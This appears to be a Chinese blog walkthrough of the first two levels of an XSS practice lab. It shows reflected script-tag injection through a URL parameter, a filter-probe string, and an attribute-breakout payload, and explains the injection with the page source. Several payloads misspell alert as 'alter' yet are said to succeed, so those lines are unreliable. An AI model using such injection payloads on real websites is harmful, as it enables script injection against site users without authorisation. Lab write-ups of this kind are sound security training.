XSS闯关非完全攻略 1-10
Level 1
话不多说,让我们直接进入第一关。
发现页面没有输入框,但是根据页面上的欢迎用户test可以找到链接中的name=test
来试着改变这个值看看有没有什么变化
发现页面变了,那还攻击干什么,愣着啊。
<script>alter('dreeee')</script>;
回车!
Level 2
点确定进入第二关。
发现第二关有搜索框了,在搜索框输入下面这行代码,然后搜索。
我愿称之为XSS万能语句(狗头
。
<SCRscriptIPT>'"()Oonnjavascript;
反手给它来个查看源码,一起康康是哪里的问题。
我们可以看到,我们的输入出现在第17行的value中。
ok,我们来加点东西来绕过它在试一次。
"> <script>alert('dreeee')</script>;
来,兄弟萌,把舒服了给我打在评论区!
这次再来看看源码(学习么,不就是要知其然,然后再知其所以然的过程
还是第17行
<input name=keyword value=""> <script>alter('dreeee')</script>">
我们可以看到,我们添加的">使得源代码的中的value语句闭合
<input name=keyword value="">
从而成功执行了我们的
<script>alter('dreeee')</script>